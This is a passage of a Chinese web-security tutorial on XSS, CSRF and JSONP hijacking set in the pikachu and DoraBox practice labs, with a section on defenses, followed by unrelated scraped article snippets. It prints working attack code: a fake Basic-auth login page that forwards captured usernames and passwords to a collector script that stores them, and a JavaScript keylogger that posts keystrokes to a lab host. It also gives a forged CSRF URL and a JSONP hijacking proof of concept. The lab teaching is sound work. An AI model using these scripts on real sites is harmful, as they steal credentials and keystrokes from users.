".$row['title'] . " " . $row['content']." ";
}
echo "";
?>
记得在数据库中创建xss表,不然php找不到xss表就无法插入数据会报错
不知为何连接上数据库后php还是不能向数据库中写入。可能是权限问题吧,研究半天没有成功,这里换用pikachu靶场的xss(store)环境
成功跳转弹窗
与反射型相同payload上传获取cookie
正文|DOM XSS简述
DOM XSS是指页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致xss。DOM XSS与反射型,存储型XSS主要的区别在于DOM XSS的XSS代码不需要服务器端解析,依赖的是浏览器端的DOM解析。
DOM环境搭建
Test
这里会显示输入的内容
DOM XSS测试
正文|xss利用
1.窃取 Cookie:
从以上的实验过程中,我们可以看到,由于黑客注入的 JavaScript 代码是运行在 http://server.com 这个域名下的,因此,黑客可以在 JavaScript 中通过 document.cookie 获得 Cookie 信息。也就是说**黑客可以窃取用户的 Cookie。**另外,需要我们注意的是,受SOP(Same Origin Policy,同源策略)保护,我们在 http://server.com 中是无法直接向 http://hacker.com 发送 GET 或者 POST 请求的。但是我们可以通过 window.location 、加载 JavaScript 文件、图片等方式,向 http://attacker.com 发送带有 Cookie 的 GET 请求。
窃取用户的cookie后,黑客可以通过cookie伪造合法身份(管理员身份)登录,获取操作网页的权限。
2. 未授权操作
除了窃取敏感信息以外,黑客还可以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
在微博 XSS 攻击事件 中,黑客就利用 JavaScript 脚本,让用户发送了一个微博,微博中同时还带有反射型 XSS 的链接。这样一来,每个点击链接的用户都会通过微博的形式,诱导更多的用户点击链接,一传十、十传百,造成大范围的传播。
微博xss攻击事件相关链接: https://www.cnblogs.com/svennee/p/4099637.html
https://www.cnblogs.com/hainange/archive/2011/06/29/6152978.html
3. 按键记录和钓鱼
窃取 Cookie 和未授权操作都是我们很容易想到的危害,除此之外,JavaScript 还能做什么呢?
JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被 JavaScript 记录下来,从而被黑客获取到。
另外,即使某个存在 XSS 漏洞的页面不具备任何输入框,黑客还可以通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。这也是“钓鱼”的一种形式,在这个过程中用户访问的域名是完全正常的,只是页面被篡改了,所以具备更高的迷惑性。
实验|利用XSS漏洞钓鱼
相关脚本:
1 钓鱼脚本
1.1弹出伪造验证框脚本
error_reporting ( 0 ) ;
if ( ( ! isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) || ( ! isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( 'Content-type:text/html;charset=utf-8' ) ;
header ( "WWW-Authenticate: Basic realm='认证'" ) ;
header ( 'HTTP/1.0 401 Unauthorized' ) ;
echo 'Authorization Required.' ;
exit ;
} else if ( ( isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) && ( isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php?username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
}
? >
1.2 将用户输入的信息进行处理并保存
error_reporting ( 0 ) ;
include_once '../inc/config.inc.php' ;
include_once '../inc/mysql.inc.php' ;
$link = connect ( ) ;
if ( ! empty ( $_GET [ 'username' ] ) && ! empty ( $_GET [ 'password' ] ) ) {
$username = $_GET [ 'username' ] ;
$password = $_GET [ 'password' ] ;
$referer = "" ;
$referer .= $_SERVER [ 'HTTP_REFERER' ] ;
$time = date ( 'Y-m-d g:i:s' ) ;
$query = "insert fish(time,username,password,referer) values('$time ','$username ','$password ','$referer ')" ;
$result = mysqli_query ( $link , $query ) ;
}
? >
2 键盘记录脚本
2.1 制作键盘的js,异步发送给键盘记录脚本
function createAjax ( ) {
var request= false ;
if ( window. XMLHttpRequest) {
request= new XMLHttpRequest ( ) ;
if ( request. overrideMimeType) {
request. overrideMimeType ( "text/xml" ) ;
}
} else if ( window. ActiveXObject) {
var versions= [ 'Microsoft.XMLHTTP' , 'MSXML.XMLHTTP' , 'Msxml2.XMLHTTP.7.0' , 'Msxml2.XMLHTTP.6.0' , 'Msxml2.XMLHTTP.5.0' , 'Msxml2.XMLHTTP.4.0' , 'MSXML2.XMLHTTP.3.0' , 'MSXML2.XMLHTTP' ] ;
for ( var i= 0 ; i< versions. length; i++ ) {
try {
request= new ActiveXObject ( versions[ i] ) ;
if ( request) {
return request;
}
} catch ( e) {
request= false ;
}
}
}
return request;
}
var ajax= null ;
var xl= "datax=" ;
function onkeypress ( ) {
var realkey = String. fromCharCode ( event. keyCode) ;
xl+= realkey;
show ( ) ;
}
document. onkeypress = onkeypress;
function show ( ) {
ajax = createAjax ( ) ;
ajax. onreadystatechange = function ( ) {
if ( ajax. readyState == 4 ) {
if ( ajax. status == 200 ) {
var data = ajax. responseText;
} else {
alert ( "页面请求失败" ) ;
}
}
}
var postdate = xl;
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
ajax. setRequestHeader ( "Content-length" , postdate. length) ;
ajax. setRequestHeader ( "Connection" , "close" ) ;
ajax. send ( postdate) ;
}
2.2处理并保存按键记录脚本
操作步骤 :首先配置脚本一和脚本三,使窃取的信息导入到脚本二和脚本四。
脚本一将location后域名地址配置为脚本二的本地地址
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php? // 修改这里
username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
脚本三将post后域名配置为脚本四的本地地址
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
构造钓鱼payload:
访问保存信息的的页面就可以获取我们刚才输入的账号密码,完成一次简单的xss
参考链接 :https://blog.csdn.net/weixin_43526443/article/details/105737140
拓展|XSS防护策略
特定标签过滤
通过过滤掉xss危险html标签(script,ifame)来防御xss的一种办法,也是防御xss的最简单思路,但其实这种方法 局限性很大 。因为任何一种标签,无论是否合法,都可以构造出xss代码。而当输入点在html的属性中或js代码中,攻击者可以简单的闭合、拼接属性或js代码 。不需要引入新标签就可以实现xss。而且html的更新势必会带来更多可以利用的新标签(video),这种方法治标不治本 。
事件过滤
开发者通过过滤许多HTML的事件属性来防御xss。(如onerror)
敏感关键字过滤
针对敏感变量和函数进行的过滤。防护性不强,可以通过字符串拼接,编码解码等方式绕过。
长度限制
由于xss跨站脚本的注入需要一定长度的输入,此时我们如果限制输入长度,就能有效地限制xss注入。
如下图通过前端js代码限制输入最大长度
启用HTTP Only
首先,我们了解一下一个Cookie的使用过程:
Step1:浏览器向服务器发起请求,这时没有Cookie。Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
接下来,我们了解一下HttpOnly
HttpOnly是Cookie的一个安全属性,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS–HttpOnly解决的是XSS后的Cookie劫持。之前的文章中提到过”如何使用XSS窃取用户的Cookie,然后登录进该用户的账户“。但如果该Cookie设置了HttpOnly,则这种攻击会失败,因为JavaScript读取不到Cookie的值。
HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程。
header ( "Set-Cookie: cookie1=test1;" ) ;
header ( "Set-Cookie: cookie2=test2;httponly" , false ) ;
? >
< script>
alert ( document. cookie) ;
< / script>
拓展|CSRF简述
CSRF(Cross—site request forgery)跨站请求伪造 ,也被称为One Click Attack或Session Riding。是一种对网站的恶意利用,它与XSS的不同之处在于:XSS利用的是站点内的受信任用户,CSRF则是通过伪装成权限用户对受信任的网站的请求。
CSRF其实可以这样理解:
攻击者利用目标用户的身份,以目标用户的名义进行某些非法操作
CSRF攻击有以下关键点:
目标用户已经登录了网站,能够执行网站内的功能
目标用户访问了攻击者构造的url
CSRP简单实践-基于pikachu靶场
登录靶场给出的默认账号
点击修改个人信息并填写修改,点击修改的同时抓包分析
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1256136&add=136142&email=1241251&submit=submit HTTP/1.1
发现url后有get传参是用来修改参数的。于是我们可以伪造一个url如下诱使用户点击,就完成了一次简单的csrf攻击。例如这里
url+?sex=hack&phonenum=hacker&add=666666&email=hack&submit=submit HTTP/1.1
拓展|jsonp简述
JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,**而 HTML 的
jsonp简单实践-csrf的jsonp劫持
为了学习jsonp专门搭建了一个DoraBox靶场…进入jsonp劫持项目。
使用如下poc进行劫持
DOCTYPE html >
< html lang = " en" >
< head>
< meta charset = " UTF-8" >
< meta name = " viewport" content = " width=device-width, initial-scale=1.0" >
< title> json劫持 title>
head>
< body>
< script>
function vulkey ( data )
{
alert ( JSON . stringify ( data) ) ;
}
script>
< script src = " http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey" >
script>
body>
html>
劫持成功
后记
xss漏洞是个较为普遍且非常经典的漏洞,但由于其特殊性,在ctf赛题中很少单独利用,而是和其他漏洞进行联动。因此学好xss是做好许多ctf题目的前提。当然,这篇文章讲解的可能对你们现在来说确实有些难度,初步要求掌握正文内容,拓展内容学有余力者可以研究研究。
你可能感兴趣的:(安全漏洞,xss,csrf,jsonp)
解决mysql漏洞 Oracle MySQL Server远程安全漏洞(CVE-2015-0411)
dieweidong5625
数据库 运维 java
有时候会检测到服务器有很多漏洞,而大部分漏洞都是由于服务的版本过低的原因,因为官网出现漏洞就会发布新版本来修复这个漏洞,所以一般情况下,我们只需要对相应的软件包进行升级到安全版本即可。通过查阅官网信息,OracleMySQLServer远程安全漏洞(CVE-2015-0411),受影响系统:OracleMySQLServer/usr/databases.sql//先备份原有所有数据,防止数据丢失。
网络安全测评技术与标准
坚持可信
信息安全 web安全 网络 安全
网络安全测评是评估信息系统、网络和应用程序的安全性,以发现潜在的漏洞和威胁,并确保系统符合安全标准和政策的过程。以下是常见的网络安全测评类型:1.渗透测试(PenetrationTesting)描述:通过模拟真实的攻击,评估系统、网络和应用程序的安全性,识别和修复漏洞。目标:发现系统中的安全漏洞,评估其可能被利用的风险。方法:黑盒测试:测试人员没有系统内部信息,模拟外部攻击者。白盒测试:测试人员拥
Prism 教程
yang_B621
Prism IOC
http://t.csdnimg.cn/VXSSvhttps://blog.csdn.net/u010476739/article/details/119341731Prism-随笔分类-Hello——寻梦者!-博客园(cnblogs.com)C#IoC学习笔记-缥缈的尘埃-博客园(cnblogs.com)WPF_SchuylerEX的博客-CSDN博客
如何提高网络安全意识
亿林网络安全事业部
网络 web安全 安全
提升网络安全意识的方法提升网络安全意识是个人和企业都需要重视的问题。以下是一些有效的方法:加强教育和培训:通过参加网络安全培训课程,学习识别网络攻击的常见迹象、安全密码的设置、不点击可疑链接等知识。建立网络安全政策:制定个人网络安全规则,如定期更改密码、不在公共网络上进行敏感操作等。定期更新系统:保持操作系统和软件程序的最新状态,及时修补安全漏洞。加强网络防护:使用防火墙、反病毒软件、入侵检测系统
Apache POI用法
JH3073
apache
一、ApachePOI是什么ApachePOI是用Java编写的免费开源的跨平台的JavaAPI,ApachePOI提供API给Java程序对MicrosoftOffice格式档案读和写的功能,其中使用最多的就是使用POI操作Excel文件。二、POI结构HSSF-提供读写MicrosoftExcelXLS格式档案的功能XSSF-提供读写MicrosoftExcelOOXMLXLSX格式档案的功能
最新网络安全(黑客)——自学篇
黑客小雨
web安全 安全
*需要的小伙伴关注我第一阶段:基础操作入门,学习基础知识入门的第一步是学习一些当下主流的安全工具课程并配套基础原理的书籍,一般来说这个过程在1个月左右比较合适。在这个阶段,你已经对网络安全有了基本的了解。如果你学完了第一步,相信你已经在理论上明白了上面是sql注入,什么是xss攻击,对burp、msf、cs等安全工具也掌握了基础操作。这个时候最重要的就是开始打地基!所谓的“打地基”其实就是系统化的
SonicWall SSL VPN曝出高危漏洞,可能导致防火墙崩溃
FreeBuf-
资讯 ssl web安全 安全
近日,有黑客利用SonicWallSonicOS防火墙设备中的一个关键安全漏洞入侵受害者的网络。这个不当访问控制漏洞被追踪为CVE-2024-40766,影响到第5代、第6代和第7代防火墙。SonicWall于8月22日对其进行了修补,并警告称其只影响防火墙的管理访问界面。然而,SonicWall上周五(9月6日)透露,该安全漏洞还影响了防火墙的SSLVPN功能,且已被黑客用以网络攻击。该公司提醒
【漏洞复现】华三 H3C IMC 智能管理中心 /byod/index.xhtml RCE
凝聚力安全团队
漏洞复现 xhtml 前端 html web渗透 web 网络安全 渗透测试
免责声明:本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所
微信小程序入门【三】:实现简单登录退出和个人信息页面
山岫
微信小程序 微信小程序 小程序
效果图预览这个框很是惆怅,但是真机调试没出现过,这个bug下次再解决吧。这次说说登录。效果图:附上代码:home.wxml-->-->-->-->Hi游客{{userInfo.nickName}}-->退出登录@技术支持:江阔jk921home.wxss/*pages/scroll/scroll.wxss*/.top{width:100%;height:400rpx;background-colo
Web应用防火墙
Smile灬凉城666
网络安全 WAF 安全
一、定义与目的WAF是一种特殊类型的防火墙,专门设计用于监视、过滤和阻挡进出Web应用的HTTP流量。其主要目的是保护Web应用免受如XSS(跨站脚本)、SQL注入、会话劫持等网络攻击。二、工作原理WAF工作在应用层,即OSI模型的第七层。它通过对HTTP/HTTPS请求进行解析、协议检测、攻击识别和恶意行为阻断等步骤来保护Web应用。具体来说,WAF会解析进入Web应用的HTTP/HTTPS请求
如何识别和防范跨站脚本攻击(XSS)?
盼盼盼
xss 安全 网络
识别和防范跨站脚本攻击(XSS)需要一系列的措施,包括输入验证、输出编码、安全配置和用户教育。以下是一些关键步骤:识别XSS异常行为:观察网站行为是否异常,例如页面上突然出现未经预期的内容或功能。错误消息:检查错误消息中是否包含敏感信息,这可能是由于未经过滤的输入导致的。安全工具:使用浏览器插件或安全扫描工具来检测潜在的XSS漏洞。代码审计:定期进行代码审计,查找可能的安全漏洞,特别是在处理用户输
Oracle 12c 及以上版本补丁更新说明及下载方法
zd1320732
oracle oracle12c 补丁更新
参考下面的文章,会对补丁更新的流程有一定的了解。https://www.modb.pro/db/27255RU(ReleaseUpdates)是每一个季度的版本升级。包括:最新的BUG修复最新的安全漏洞补丁最新添加的功能以19c为例,对应的升级版本升级路线是(19.1.0.0.0->19.2.0.0.0->19.3.0.0.0…)到现在是19.8.0.0.0RUR是对RU的修订版本,包括:最新的B
【网络安全】空字节绕过:URL回调+XSS+SQL绕WAF
秋说
网络安全 web安全 xss sql 漏洞挖掘
未经许可,不得转载。文章目录空字节URL回调XSSSQL空字节\0,也称为null字节,是一个值为零的特殊字符。在编程中,通常用来表示字符串的结束。攻击者可以利用null字节注入来绕过一些验证或过滤机制。以下三个漏洞,空字节功不可没。URL回调密码重置功能,发起请求后,邮箱会收到链接。请求包中存在callbackUrl参数:在参数中添加/test,发包后,邮箱中的链接为https://compan
Java Web安全与Spring Config对象实战
福建低调
本文还有配套的精品资源,点击获取简介:本课程深入探讨JavaWeb开发中的安全实践,包括认证与授权、输入验证、CSRF和XSS防护以及SQL注入防御等关键安全措施。同时,介绍SpringSecurity框架的应用,以及Config对象在Spring配置管理中的作用,包括依赖注入和外部化配置。课程还包括实战演练,通过设置安全环境和安全漏洞模拟,帮助开发者提升应用的安全性和故障排查能力。1.Web安全
Web安全之CSRF攻击详解与防护
J老熊
Java Web安全 web安全 csrf 安全 java 面试 运维
在互联网应用中,安全性问题是开发者必须时刻关注的核心内容之一。跨站请求伪造(Cross-SiteRequestForgery,CSRF),是一种常见的Web安全漏洞。通过CSRF攻击,黑客可以冒用受害者的身份,发送恶意请求,执行诸如转账、订单提交等操作,导致严重的安全后果。本文将详细讲解CSRF攻击的原理及其防御方法,结合电商交易系统的场景给出错误和正确的示范代码,并分析常见的安全问题与解决方案,
云WAF防御简介之0day攻击
亿林科技网络安全
安全 网络 web安全
0day攻击简介0day攻击,也称为零日攻击,是指利用软件或系统中未被公开或未被修复的安全漏洞进行的攻击。这种攻击通常由黑客在发现漏洞后立即利用,而软件开发商可能还没有来得及发布相应的补丁来修复这些漏洞。0day攻击的特点0day攻击的特点包括其隐蔽性和危害性。由于漏洞尚未被发现或修补,攻击者可以轻易地利用这些漏洞获取敏感信息、破坏系统、篡改数据等,给目标系统带来严重的损失。防范0day攻击的建议
【网络安全】URL解析器混淆绕过CSP实现XSS
秋说
网络安全 web安全 xss 漏洞挖掘
未经许可,不得转载。文章目录前言正文前言许多流行的静态网站生成器都存在图像CDN功能,它们通过优化网站中的图像来加快页面加载速度。例如:1、OptimizingImages|Next.js利用内置的next/image组件优化图像(nextjs.org)2、NuxtImage:Nuxt应用的图像优化即插即用的图像优化功能,使用内置优化器对图像进行调整(image.nuxt.com)这些工具的目标都
python调用rocketmq的api_Python:Rocketmq消息队列使用
weixin_39914868
rocketmq可以与kafka等一起使用,用于实时消息处理。安装rocketmq:pipinstallrocketmq[-ihttps://pypi.tuna.tsinghua.edu.cn/simple]生产消息producer:fromrocketmq.clientimportProducer,Messageimportjsonproducer=Producer('PID-test')pro
JSON parse error: Illegal character ((CTRL-CHAR, code 31)): only regular white space (\r, \n, \t)
Chen__Wu
java java json
JSONparseerror:Illegalcharacter((CTRL-CHAR,code31)):onlyregularwhitespace(\r,\n,\t)isallowedbetweentokens;nestedexceptioniscom.fasterxml.jackson.core.JsonParseException:Illegalcharacter((CTRL-CHAR,cod
XSS和sql注入部分场景测试用例样例
谷隐凡二
测试 xss sql 测试用例
目录1.SQL注入测试用例设计基本SQL注入复杂SQL注入盲注测试2.XSS攻击测试用例设计基本XSS攻击复杂XSS攻击DOM-basedXSS1.SQL注入测试用例设计SQL注入攻击通常通过在输入字段中插入恶意SQL代码,试图操纵数据库查询。设计这些测试用例时,需要涵盖各种常见的SQL注入技术。基本SQL注入用例1:使用单引号:输入:'OR'1'='1预期结果:应拒绝输入并返回错误消息,不应允许
如何限制用户仅通过HTTPS方式访问OSS?
阿里云技术
安全与风控 python API
一、当前存在的问题当前OSS支持用户使用HTTPS/HTTP协议访问Bucket。但由于HTTP存在安全漏洞。大型企业客户都要求使用HTTPS方式访问OSS,并且拒绝HTTP访问请求。目前OSS可以通过RAMpolicy方式实现:限制某个用户、角色拒绝通过HTTP协议访问指定的Bucket和对象。但是RAMPolicy是一种基于用户的授权方式,无法针对资源进行授权。也就是说无法针对Bucket或者
C# POST请求 json格式
素年槿夏
C# asp.net mvc c#
/**url:POST请求地址,例如:url="http://localhost:8089/hal/PostData";*postData:json格式的请求报文,例如:{"key1":"value1","key2":"value2"}*/publicstaticstringJsonPostUrl(stringurl,stringpostData){stringresult="";try{Http
weblogic-SSRF漏洞复现(SSRF原理、利用与防御)
不想当脚本小子的脚本小子
中间件漏洞复现 SSRF 安全
一、SSRF概念服务端请求伪造(Server-SideRequestForgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。首先,我们要对目标网站的架构了解
Windows Hello 可绕过漏洞进行身份认证
H_00c8
Windows安全漏洞将允许攻击者欺骗用于系统生物特征面部识别方面的USB摄像头。微软Windows10无密码身份验证系统中的一个漏洞已被发现,攻击者可以利用该漏洞欺骗人脸图像以欺骗面部识别系统并控制设备。【网安资料】WindowsHello是Windows10提供的一个新的安全功能,该功能通过生物识别技术为小伙伴们带来指纹、人脸和虹膜等多种身份验证方式,具有极高的安全性。只有具备特定的硬件设备才
【网络安全】如何预防xss
不会代码的小徐
web安全 xss 安全
XSS(Cross-SiteScripting,跨站脚本攻击)是一种代码注入攻击。攻击者通过在目标网站注入恶意脚本,使其在用户浏览器中执行,从而窃取用户敏感信息如Cookie和SessionID。CSS在前端已经被用了,为了避免歧义用了XSS作为缩写。XSS的本质是恶意代码与网站正常代码混在一起,浏览器无法分辨它们的可信度,最终导致恶意代码被执行。XSS的危害浏览器无法区分恶意代码和正常代码,它们
ASP.NET Core 入门教学十六 防止常见的Web攻击
充值内卷
asp.net 前端 后端
在ASP.NETCore中,防止常见的Web攻击是非常重要的,以确保应用程序的安全性。以下是一些常见的Web攻击类型及其防范措施:1.跨站脚本攻击(XSS)跨站脚本攻击(XSS)是一种通过在网页中注入恶意脚本来攻击用户的浏览器的技术。为了防止XSS攻击,可以采取以下措施:输入验证:对用户输入进行严格的验证和清理。输出编码:在将用户输入的数据插入到HTML页面中时,进行适当的编码。ASP.NETCo
HtmlSanitizer: 一个保护你的网站免受XSS攻击的.Net开源项目
编程乐趣
xss .net 前端
Html跨站脚本攻击(XSS)是非常常见的,比如博客评论、论坛帖子、社交媒体发布动态等一些用户提交文本的地方,都有可能遭受恶意提交Html代码。为了确保用户提交内容的安全,我们就需要对用户提交内容进行过滤。01项目简介HtmlSanitizer是一个强大的库,它能够审查和清理HTML内容,移除或转义那些可能被用于XSS攻击的标签和属性。这个工具的核心功能是提供一个安全的方式来处理用户提交的HTML
后端处理前端NaN导致报错
旋转跳跃闭着眼
用实体接参数时,属性类型是Double,前端传NaN会报错,做了简单处理,记录一下,当然前端不传NaN就更好了…packagecn.edu.oa.jsonSerializer;importcn.micro.framework.exception.BusinessException;importcom.fasterxml.jackson.core.JsonParser;importcom.faste
前端篇—ajax
wolf67
Django django js ajax
文章目录前言一、基于JS的ajax实现1.1基础1.2完整代码示例1.3应用二、JSON和JSONP2.1什么是JSON2.2JSON语法2.3应用2.4json与django交互2.5json与xml比较三、基于jQuery的ajax实现3.1基础方法3.2快捷方法用法示例四、跨域请求4.1同源机制4.2jsonp的js实现(未完成)4.3jsonp的jQuery实现4.4jsonp的ajax实
Vue + ElementUI 实现全国各个省份相对应城市的联动选择_vue+elementui 省市区联动
2401_84617681
程序员 前端 面试 学习
打开全栈工匠技能包-1小时轻松掌握SSR两小时精通jq+bs插件开发生产环境下如歌部署Node.js开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】网易内部VUE自定义插件库NPM集成谁说前端不用懂安全,XSS跨站脚本的危害webpack的loader到底是什么样的?两小时带你写一个自己loader:rules="rules"label-width="150px">定
eclipse maven
IXHONG
eclipse
eclipse中使用maven插件的时候,运行run as maven build的时候报错
-Dmaven.multiModuleProjectDirectory system propery is not set. Check $M2_HOME environment variable and mvn script match.
可以设一个环境变量M2_HOME指
timer cancel方法的一个小实例
alleni123
多线程 timer
package com.lj.timer;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
public class MyTimer extends TimerTask
{
private int a;
private Timer timer;
pub
MySQL数据库在Linux下的安装
ducklsl
mysql
1.建好一个专门放置MySQL的目录
/mysql/db数据库目录
/mysql/data数据库数据文件目录
2.配置用户,添加专门的MySQL管理用户
>groupadd mysql ----添加用户组
>useradd -g mysql mysql ----在mysql用户组中添加一个mysql用户
3.配置,生成并安装MySQL
>cmake -D
spring------>>cvc-elt.1: Cannot find the declaration of element
Array_06
spring bean
将--------
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3
maven发布第三方jar的一些问题
cugfy
maven
maven中发布 第三方jar到nexus仓库使用的是 deploy:deploy-file命令
有许多参数,具体可查看
http://maven.apache.org/plugins/maven-deploy-plugin/deploy-file-mojo.html
以下是一个例子:
mvn deploy:deploy-file -DgroupId=xpp3
MYSQL下载及安装
357029540
mysql
好久没有去安装过MYSQL,今天自己在安装完MYSQL过后用navicat for mysql去厕测试链接的时候出现了10061的问题,因为的的MYSQL是最新版本为5.6.24,所以下载的文件夹里没有my.ini文件,所以在网上找了很多方法还是没有找到怎么解决问题,最后看到了一篇百度经验里有这个的介绍,按照其步骤也完成了安装,在这里给大家分享下这个链接的地址
ios TableView cell的布局
张亚雄
tableview
cell.imageView.image = [UIImage imageNamed:[imageArray objectAtIndex:[indexPath row]]];
CGSize itemSize = CGSizeMake(60, 50);
&nbs
Java编码转义
adminjun
java 编码转义
import java.io.UnsupportedEncodingException;
/**
* 转换字符串的编码
*/
public class ChangeCharset {
/** 7位ASCII字符,也叫作ISO646-US、Unicode字符集的基本拉丁块 */
public static final Strin
Tomcat 配置和spring
aijuans
spring
简介
Tomcat启动时,先找系统变量CATALINA_BASE,如果没有,则找CATALINA_HOME。然后找这个变量所指的目录下的conf文件夹,从中读取配置文件。最重要的配置文件:server.xml 。要配置tomcat,基本上了解server.xml,context.xml和web.xml。
Server.xml -- tomcat主
Java打印当前目录下的所有子目录和文件
ayaoxinchao
递归 File
其实这个没啥技术含量,大湿们不要操笑哦,只是做一个简单的记录,简单用了一下递归算法。
import java.io.File;
/**
* @author Perlin
* @date 2014-6-30
*/
public class PrintDirectory {
public static void printDirectory(File f
linux安装mysql出现libs报冲突解决
BigBird2012
linux
linux安装mysql出现libs报冲突解决
安装mysql出现
file /usr/share/mysql/ukrainian/errmsg.sys from install of MySQL-server-5.5.33-1.linux2.6.i386 conflicts with file from package mysql-libs-5.1.61-4.el6.i686
jedis连接池使用实例
bijian1013
redis jedis连接池 jedis
实例代码:
package com.bijian.study;
import java.util.ArrayList;
import java.util.List;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoo
关于朋友
bingyingao
朋友 兴趣爱好 维持
成为朋友的必要条件:
志相同,道不合,可以成为朋友。譬如马云、周星驰一个是商人,一个是影星,可谓道不同,但都很有梦想,都要在各自领域里做到最好,当他们遇到一起,互相欣赏,可以畅谈两个小时。
志不同,道相合,也可以成为朋友。譬如有时候看到两个一个成绩很好每次考试争做第一,一个成绩很差的同学是好朋友。他们志向不相同,但他
【Spark七十九】Spark RDD API一
bit1129
spark
aggregate
package spark.examples.rddapi
import org.apache.spark.{SparkConf, SparkContext}
//测试RDD的aggregate方法
object AggregateTest {
def main(args: Array[String]) {
val conf = new Spar
ktap 0.1 released
bookjovi
kernel tracing
Dear,
I'm pleased to announce that ktap release v0.1, this is the first official
release of ktap project, it is expected that this release is not fully
functional or very stable and we welcome bu
能保存Properties文件注释的Properties工具类
BrokenDreams
properties
今天遇到一个小需求:由于java.util.Properties读取属性文件时会忽略注释,当写回去的时候,注释都没了。恰好一个项目中的配置文件会在部署后被某个Java程序修改一下,但修改了之后注释全没了,可能会给以后的参数调整带来困难。所以要解决这个问题。
&nb
读《研磨设计模式》-代码笔记-外观模式-Facade
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/*
* 百度百科的定义:
* Facade(外观)模式为子系统中的各类(或结构与方法)提供一个简明一致的界面,
* 隐藏子系统的复杂性,使子系统更加容易使用。他是为子系统中的一组接口所提供的一个一致的界面
*
* 可简单地
After Effects教程收集
cherishLC
After Effects
1、中文入门
http://study.163.com/course/courseMain.htm?courseId=730009
2、videocopilot英文入门教程(中文字幕)
http://www.youku.com/playlist_show/id_17893193.html
英文原址:
http://www.videocopilot.net/basic/
素
Linux Apache 安装过程
crabdave
apache
Linux Apache 安装过程
下载新版本:
apr-1.4.2.tar.gz(下载网站:http://apr.apache.org/download.cgi)
apr-util-1.3.9.tar.gz(下载网站:http://apr.apache.org/download.cgi)
httpd-2.2.15.tar.gz(下载网站:http://httpd.apac
Shell学习 之 变量赋值和引用
daizj
shell 变量引用 赋值
本文转自:http://www.cnblogs.com/papam/articles/1548679.html
Shell编程中,使用变量无需事先声明,同时变量名的命名须遵循如下规则:
首个字符必须为字母(a-z,A-Z)
中间不能有空格,可以使用下划线(_)
不能使用标点符号
不能使用bash里的关键字(可用help命令查看保留关键字)
需要给变量赋值时,可以这么写:
Java SE 第一讲(Java SE入门、JDK的下载与安装、第一个Java程序、Java程序的编译与执行)
dcj3sjt126com
java jdk
Java SE 第一讲:
Java SE:Java Standard Edition
Java ME: Java Mobile Edition
Java EE:Java Enterprise Edition
Java是由Sun公司推出的(今年初被Oracle公司收购)。
收购价格:74亿美金
J2SE、J2ME、J2EE
JDK:Java Development
YII给用户登录加上验证码
dcj3sjt126com
yii
1、在SiteController中添加如下代码:
/**
* Declares class-based actions.
*/
public function actions() {
return array(
// captcha action renders the CAPTCHA image displ
Lucene使用说明
dyy_gusi
Lucene search 分词器
Lucene使用说明
1、lucene简介
1.1、什么是lucene
Lucene是一个全文搜索框架,而不是应用产品。因此它并不像baidu或者googleDesktop那种拿来就能用,它只是提供了一种工具让你能实现这些产品和功能。
1.2、lucene能做什么
要回答这个问题,先要了解lucene的本质。实际
学习编程并不难,做到以下几点即可!
gcq511120594
数据结构 编程 算法
不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。
